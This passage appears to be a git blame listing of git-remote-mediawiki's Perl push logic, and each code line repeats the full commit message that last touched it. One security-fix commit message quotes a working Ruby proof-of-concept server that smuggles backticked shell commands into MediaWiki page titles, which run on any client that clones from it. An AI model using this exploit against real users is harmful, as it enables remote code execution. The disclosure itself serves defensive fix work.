differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
next;
|
|
|
|
}
|
|
|
|
if (mw_push_revision($local, $remote)) {
|
|
|
|
$pushed = 1;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
# Notify Git that the push is done
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} "\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
2011-09-01 18:54:56 +02:00
|
|
|
if ($pushed && $dumb_push) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Just pushed some revisions to MediaWiki.\n";
|
|
|
|
print {*STDERR} "The pushed revisions now have to be re-imported, and your current branch\n";
|
|
|
|
print {*STDERR} "needs to be updated with these re-imported commits. You can do this with\n";
|
|
|
|
print {*STDERR} "\n";
|
|
|
|
print {*STDERR} " git pull --rebase\n";
|
|
|
|
print {*STDERR} "\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
sub mw_push_revision {
|
|
|
|
my $local = shift;
|
|
|
|
my $remote = shift; # actually, this has to be "refs/heads/master" at this point.
|
|
|
|
my $last_local_revid = get_last_local_revision();
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} ".\n"; # Finish sentence started by get_last_local_revision()
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
my $last_remote_revid = get_last_remote_revision();
|
2011-09-01 18:54:56 +02:00
|
|
|
my $mw_revision = $last_remote_revid;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
|
|
|
# Get sha1 of commit pointed by local HEAD
|
2020-09-21 12:40:00 +02:00
|
|
|
my $HEAD_sha1 = run_git_quoted_nostderr(["rev-parse", $local]);
|
2013-06-14 15:50:30 +02:00
|
|
|
chomp($HEAD_sha1);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
# Get sha1 of commit pointed by remotes/$remotename/master
|
2020-09-21 12:40:00 +02:00
|
|
|
my $remoteorigin_sha1 = run_git_quoted_nostderr(["rev-parse", "refs/remotes/${remotename}/master"]);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
chomp($remoteorigin_sha1);
|
|
|
|
|
|
|
|
if ($last_local_revid > 0 &&
|
|
|
|
$last_local_revid < $last_remote_revid) {
|
|
|
|
return error_non_fast_forward($remote);
|
|
|
|
}
|
|
|
|
|
|
|
|
if ($HEAD_sha1 eq $remoteorigin_sha1) {
|
|
|
|
# nothing to push
|
|
|
|
return 0;
|
|
|
|
}
|
|
|
|
|
|
|
|
# Get every commit in between HEAD and refs/remotes/origin/master,
|
|
|
|
# including HEAD and refs/remotes/origin/master
|
|
|
|
my @commit_pairs = ();
|
|
|
|
if ($last_local_revid > 0) {
|
|
|
|
my $parsed_sha1 = $remoteorigin_sha1;
|
|
|
|
# Find a path from last MediaWiki commit to pushed commit
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Computing path from local to remote ...\n";
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my @local_ancestry = split(/\n/, run_git_quoted(["rev-list", "--boundary", "--parents", $local, "^${parsed_sha1}"]));
|
2012-07-16 21:46:38 +02:00
|
|
|
my %local_ancestry;
|
|
|
|
foreach my $line (@local_ancestry) {
|
2013-06-14 15:50:16 +02:00
|
|
|
if (my ($child, $parents) = $line =~ /^-?([a-f0-9]+) ([a-f0-9 ]+)/) {
|
git-remote-mediawiki: change the behaviour of a split
A "split ' '" is turned into a "split / /", which changes its behaviour: the
old method matched a run of whitespaces (/\s*/), while the new one will match a
single space, which is what we want here. Indeed, in other contexts,
changing split(' ') to split(/ /) could potentially be a regression, however,
here, when parsing the output of "rev-list --parents", whose output SHA-1's are
each separated by a single space, splitting on a single space is perfectly
correct.
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14 15:50:17 +02:00
|
|
|
foreach my $parent (split(/ /, $parents)) {
|
2012-07-16 21:46:38 +02:00
|
|
|
$local_ancestry{$parent} = $child;
|
|
|
|
}
|
2013-06-14 15:50:16 +02:00
|
|
|
} elsif (!$line =~ /^([a-f0-9]+)/) {
|
2013-06-14 15:50:30 +02:00
|
|
|
die "Unexpected output from git rev-list: ${line}\n";
|
2012-07-16 21:46:38 +02:00
|
|
|
}
|
|
|
|
}
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
while ($parsed_sha1 ne $HEAD_sha1) {
|
2012-07-16 21:46:38 +02:00
|
|
|
my $child = $local_ancestry{$parsed_sha1};
|
|
|
|
if (!$child) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Cannot find a path in history from remote commit to last commit\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
return error_non_fast_forward($remote);
|
|
|
|
}
|
2012-07-16 21:46:38 +02:00
|
|
|
push(@commit_pairs, [$parsed_sha1, $child]);
|
|
|
|
$parsed_sha1 = $child;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
